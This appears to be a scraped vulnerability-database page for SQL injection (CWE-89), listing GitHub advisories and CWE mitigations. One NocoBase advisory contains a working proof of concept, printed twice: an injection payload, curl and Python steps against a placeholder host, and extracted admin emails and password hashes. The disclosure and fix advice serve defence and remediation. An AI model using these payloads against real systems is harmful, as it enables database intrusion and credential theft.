CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27530 vulnerabilities reference this CWE, most recent first.
GHSA-48VQ-M47W-3X7G
Vulnerability from github – Published: 2022-05-17 02:08 – Updated: 2022-05-17 02:08SQL injection vulnerability in product.html in B2B Gold Script allows remote attackers to execute arbitrary SQL commands via the id parameter.
{
"affected": [],
"aliases": [
"CVE-2010-1744"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-06T18:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in product.html in B2B Gold Script allows remote attackers to execute arbitrary SQL commands via the id parameter.",
"id": "GHSA-48vq-m47w-3x7g",
"modified": "2022-05-17T02:08:18Z",
"published": "2022-05-17T02:08:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1744"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/58265"
},
{
"type": "WEB",
"url": "http://osvdb.org/64212"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1004-exploits/b2bgoldscript-sql.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39710"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12460"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39830"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-48W9-CX3R-QXR5
Vulnerability from github – Published: 2022-05-14 03:35 – Updated: 2022-05-14 03:35Afian FileRun (before 2018.02.13) suffers from a remote SQL injection vulnerability, when logged in as superuser, via the search parameter in a /?module=users§ion=cpanel&page=list request.
{
"affected": [],
"aliases": [
"CVE-2018-7734"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-06T19:29:00Z",
"severity": "HIGH"
},
"details": "Afian FileRun (before 2018.02.13) suffers from a remote SQL injection vulnerability, when logged in as superuser, via the search parameter in a /?module=users\u0026section=cpanel\u0026page=list request.",
"id": "GHSA-48w9-cx3r-qxr5",
"modified": "2022-05-14T03:35:30Z",
"published": "2022-05-14T03:35:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7734"
},
{
"type": "WEB",
"url": "https://feedback.filerun.com/communities/1/topics/189-critical-security-update-available"
},
{
"type": "WEB",
"url": "https://www.scanfsec.com/FileRun_2017_09_25_Blind_SQL.html"
},
{
"type": "WEB",
"url": "http://www.filerun.com/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-48WR-8CJG-9VXG
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:11SugarCRM before 8.0.4 and 9.x before 9.0.2 allows SQL injection in the export function by a Regular user.
{
"affected": [],
"aliases": [
"CVE-2019-17294"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-07T16:15:00Z",
"severity": "HIGH"
},
"details": "SugarCRM before 8.0.4 and 9.x before 9.0.2 allows SQL injection in the export function by a Regular user.",
"id": "GHSA-48wr-8cjg-9vxg",
"modified": "2024-04-04T02:11:09Z",
"published": "2022-05-24T16:58:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17294"
},
{
"type": "WEB",
"url": "https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2019-021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-48X6-97GC-JX62
Vulnerability from github – Published: 2026-02-26 21:31 – Updated: 2026-02-27 21:31SPIP versions prior to 4.4.10 contain a SQL injection vulnerability that allows authenticated low-privilege users to execute arbitrary SQL queries by manipulating union-based injection techniques. Attackers can exploit this SQL injection flaw combined with PHP tag processing to achieve remote code execution on the server.
{
"affected": [],
"aliases": [
"CVE-2026-22206"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-26T21:28:52Z",
"severity": "HIGH"
},
"details": "SPIP versions prior to 4.4.10 contain a SQL injection vulnerability that allows authenticated low-privilege users to execute arbitrary SQL queries by manipulating union-based injection techniques. Attackers can exploit this SQL injection flaw combined with PHP tag processing to achieve remote code execution on the server.",
"id": "GHSA-48x6-97gc-jx62",
"modified": "2026-02-27T21:31:21Z",
"published": "2026-02-26T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22206"
},
{
"type": "WEB",
"url": "https://blog.spip.net/Mise-a-jour-de-securite-sortie-de-SPIP-4-4-10.html"
},
{
"type": "WEB",
"url": "https://git.spip.net/spip/spip"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/spip-sql-injection-rce-via-union-php-tags"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-48XR-P262-3V5X
Vulnerability from github – Published: 2022-05-14 03:12 – Updated: 2022-05-14 03:12An issue was discovered in PvPGN Stats 2.4.6. SQL Injection exists in ladder/stats.php via the GET game parameter.
{
"affected": [],
"aliases": [
"CVE-2017-18288"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-12T18:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in PvPGN Stats 2.4.6. SQL Injection exists in ladder/stats.php via the GET game parameter.",
"id": "GHSA-48xr-p262-3v5x",
"modified": "2022-05-14T03:12:15Z",
"published": "2022-05-14T03:12:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18288"
},
{
"type": "WEB",
"url": "https://rchase.com/blog/posts/pvpgn-stats-multiple-sql-injection-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-492Q-FQMG-JPFV
Vulnerability from github – Published: 2022-05-17 05:51 – Updated: 2022-05-17 05:51SQL injection vulnerability in ask_chat.php in eFront 3.6.2 and earlier allows remote attackers to execute arbitrary SQL commands via the chatrooms_ID parameter.
{
"affected": [],
"aliases": [
"CVE-2010-1918"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-12T11:46:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in ask_chat.php in eFront 3.6.2 and earlier allows remote attackers to execute arbitrary SQL commands via the chatrooms_ID parameter.",
"id": "GHSA-492q-fqmg-jpfv",
"modified": "2022-05-17T05:51:28Z",
"published": "2022-05-17T05:51:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1918"
},
{
"type": "WEB",
"url": "http://osvdb.org/64506"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1005-exploits/MOPS-2010-018.pdf"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39728"
},
{
"type": "WEB",
"url": "http://www.php-security.org/2010/05/09/mops-2010-018-efront-ask_chat-chatrooms_id-sql-injection-vulnerability/index.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/40032"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1101"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-493W-PW75-RRXH
Vulnerability from github – Published: 2022-05-14 03:10 – Updated: 2022-05-14 03:10Zoho ManageEngine Applications Manager 13 before build 13530 allows SQL injection via the /manageApplications.do?method=AddSubGroup haid parameter.
{
"affected": [],
"aliases": [
"CVE-2017-16846"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-16T17:29:00Z",
"severity": "CRITICAL"
},
"details": "Zoho ManageEngine Applications Manager 13 before build 13530 allows SQL injection via the /manageApplications.do?method=AddSubGroup haid parameter.",
"id": "GHSA-493w-pw75-rrxh",
"modified": "2022-05-14T03:10:05Z",
"published": "2022-05-14T03:10:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16846"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/applications_manager/security-updates/security-updates-cve-2017-16846.html"
},
{
"type": "WEB",
"url": "http://code610.blogspot.com/2017/11/more-sql-injections-in-manageengine.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4948-F92Q-F432
Vulnerability from github – Published: 2026-04-22 20:09 – Updated: 2026-05-08 19:55Summary
The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.
Affected component: @nocobase/database (core)
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys
Vulnerable Code
packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84
const queryParentSQL = (options: {
db: Database;
nodeIds: any[];
collection: Collection;
foreignKey: string;
targetKey: string;
}) => {
const { collection, db, nodeIds } = options;
const tableName = collection.quotedTableName();
const { foreignKey, targetKey } = options;
const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
const targetKeyField = collection.model.rawAttributes[targetKey].field;
const queryInterface = db.sequelize.getQueryInterface();
const q = queryInterface.quoteIdentifier.bind(queryInterface);
return `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION
UNION ALL
SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
FROM ${tableName} AS t
INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
)
SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};
This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
const targetKey = association.targetKey;
const sql = queryParentSQL({
db: this.db, collection, foreignKey, targetKey,
nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
});
const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}
PoC
The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.
Injection ID value:
root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1
Generated SQL (3 valid UNION ALL branches):
WITH RECURSIVE cte AS (
SELECT "id", "parentId" FROM "table"
WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
UNION ALL
SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte
The CAST-to-integer triggers a runtime error whose message contains the subquery result.
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
{"name":"id","type":"string","primaryKey":true,"interface":"input"},
{"name":"title","type":"string","interface":"input"},
{"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
{"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"root","title":"Root"}'
# 3. Create injection parent — error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
# ^^^^^^^^^^^^^^^^^^^^^^^
# Exfiltrated data in error message
Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):
| Subquery | Extracted Value |
|---|---|
SELECT version() |
PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... |
SELECT current_database() |
nocobase |
SELECT email FROM users ORDER BY id LIMIT 1 |
admin@nocobase.com |
SELECT password FROM users ORDER BY id LIMIT 1 |
006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 |
SELECT string_agg(email\|\|':'||substring(password,1,16), ' \| ') FROM users |
admin@nocobase.com:006af6756e96 \| member@nocobase.com:4653e80e3cbf |
Impact
- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
- Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
- Availability: Resource-exhaustive queries or destructive DDL.
- Scope change: On PostgreSQL with superuser,
COPY ... TO PROGRAMachieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in
plugin-field-sort/src/server/sort-field.ts:124.
Fix Suggestion
-
Use parameterized queries. Replace the string concatenation with bind parameters:
javascript const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds };Then calldb.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }). -
Apply the same fix to
plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern withfilteredScopeValue. -
Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (
',",;,--) in string-type primary key fields.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/database"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41640"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:09:02Z",
"nvd_published_at": "2026-05-07T04:16:28Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n db: Database;\n nodeIds: any[];\n collection: Collection;\n foreignKey: string;\n targetKey: string;\n}) =\u003e {\n const { collection, db, nodeIds } = options;\n const tableName = collection.quotedTableName();\n const { foreignKey, targetKey } = options;\n const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n const queryInterface = db.sequelize.getQueryInterface();\n const q = queryInterface.quoteIdentifier.bind(queryInterface);\n return `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN (\u0027${nodeIds.join(\"\u0027,\u0027\")}\u0027) // \u003c-- INJECTION\n UNION ALL\n SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n FROM ${tableName} AS t\n INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n )\n SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively \u0026\u0026 instances.length \u003e 0) {\n const targetKey = association.targetKey;\n const sql = queryParentSQL({\n db: this.db, collection, foreignKey, targetKey,\n nodeIds: instances.map((instance) =\u003e instance.get(targetKey)), // from DB rows\n });\n const results = await this.db.sequelize.query(sql, { type: \u0027SELECT\u0027, transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `\u0027)` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n root\u0027) UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\n\nGenerated SQL (3 valid UNION ALL branches):\n WITH RECURSIVE cte AS (\n SELECT \"id\", \"parentId\" FROM \"table\"\n WHERE \"id\" IN (\u0027root\u0027,\u0027root\u0027) UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\u0027)\n UNION ALL\n SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"\u003cjwt_token\u003e\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n ]}\u0027\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"id\":\"root\",\"title\":\"Root\"}\u0027\n\n# 3. Create injection parent \u2014 error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {\u0027Authorization\u0027: \u0027Bearer $TOKEN\u0027, \u0027Content-Type\u0027: \u0027application/json\u0027}\npayload_id = \\\"root\u0027) UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\\\"\nrequests.post(\u0027http://TARGET:13000/api/vuln_tree:create\u0027, headers=headers,\n json={\u0027id\u0027: payload_id, \u0027title\u0027: \u0027x\u0027})\nrequests.post(\u0027http://TARGET:13000/api/vuln_tree:create\u0027, headers=headers,\n json={\u0027id\u0027: \u0027child\u0027, \u0027title\u0027: \u0027c\u0027, \u0027parentId\u0027: payload_id})\nr = requests.get(\u0027http://TARGET:13000/api/vuln_tree:list\u0027, headers=headers,\n params={\u0027appends[]\u0027: \u0027parent(recursively=true)\u0027, \u0027pageSize\u0027: \u0027100\u0027})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n# ^^^^^^^^^^^^^^^^^^^^^^^\n# Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|\u0027:\u0027||substring(password,1,16), \u0027 \\| \u0027) FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n ```javascript\n const placeholders = nodeIds.map((_, i) =\u003e `$${i + 1}`).join(\u0027,\u0027);\n const sql = `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN (${placeholders})\n UNION ALL\n ...\n ) SELECT ... FROM cte`;\n return { sql, bind: nodeIds };\n ```\n Then call `db.sequelize.query(sql, { type: \u0027SELECT\u0027, bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`\u0027`, `\"`, `;`, `--`) in string-type primary key fields.",
"id": "GHSA-4948-f92q-f432",
"modified": "2026-05-08T19:55:14Z",
"published": "2026-04-22T20:09:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41640"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9133"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading"
}
GHSA-494M-JQC3-2QWG
Vulnerability from github – Published: 2023-03-02 21:30 – Updated: 2026-07-05 03:31Accruent LLC Maintenance Connection 2021 (all) & 2022.2 was discovered to contain a SQL injection vulnerability via the E-Mail to Work Order function.
{
"affected": [],
"aliases": [
"CVE-2022-46501"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-02T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Accruent LLC Maintenance Connection 2021 (all) \u0026 2022.2 was discovered to contain a SQL injection vulnerability via the E-Mail to Work Order function.",
"id": "GHSA-494m-jqc3-2qwg",
"modified": "2026-07-05T03:31:02Z",
"published": "2023-03-02T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46501"
},
{
"type": "WEB",
"url": "https://maintenanceconnection.ca/zero-day-flaw-in-accruent-software"
},
{
"type": "WEB",
"url": "http://accruent.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-496C-CPMV-Q6V2
Vulnerability from github – Published: 2023-01-15 12:30 – Updated: 2023-01-24 18:30A vulnerability has been found in lolfeedback and classified as critical. Affected by this vulnerability is an unknown functionality. The manipulation leads to sql injection. The name of the patch is 6cf0b5f2228cd8765f734badd37910051000f2b2. It is recommended to apply a patch to fix this issue. The identifier VDB-218353 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2015-10046"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-15T10:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been found in lolfeedback and classified as critical. Affected by this vulnerability is an unknown functionality. The manipulation leads to sql injection. The name of the patch is 6cf0b5f2228cd8765f734badd37910051000f2b2. It is recommended to apply a patch to fix this issue. The identifier VDB-218353 was assigned to this vulnerability.",
"id": "GHSA-496c-cpmv-q6v2",
"modified": "2023-01-24T18:30:31Z",
"published": "2023-01-15T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10046"
},
{
"type": "WEB",
"url": "https://github.com/philipblaquiere/lolfeedback/commit/6cf0b5f2228cd8765f734badd37910051000f2b2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.218353"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.218353"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
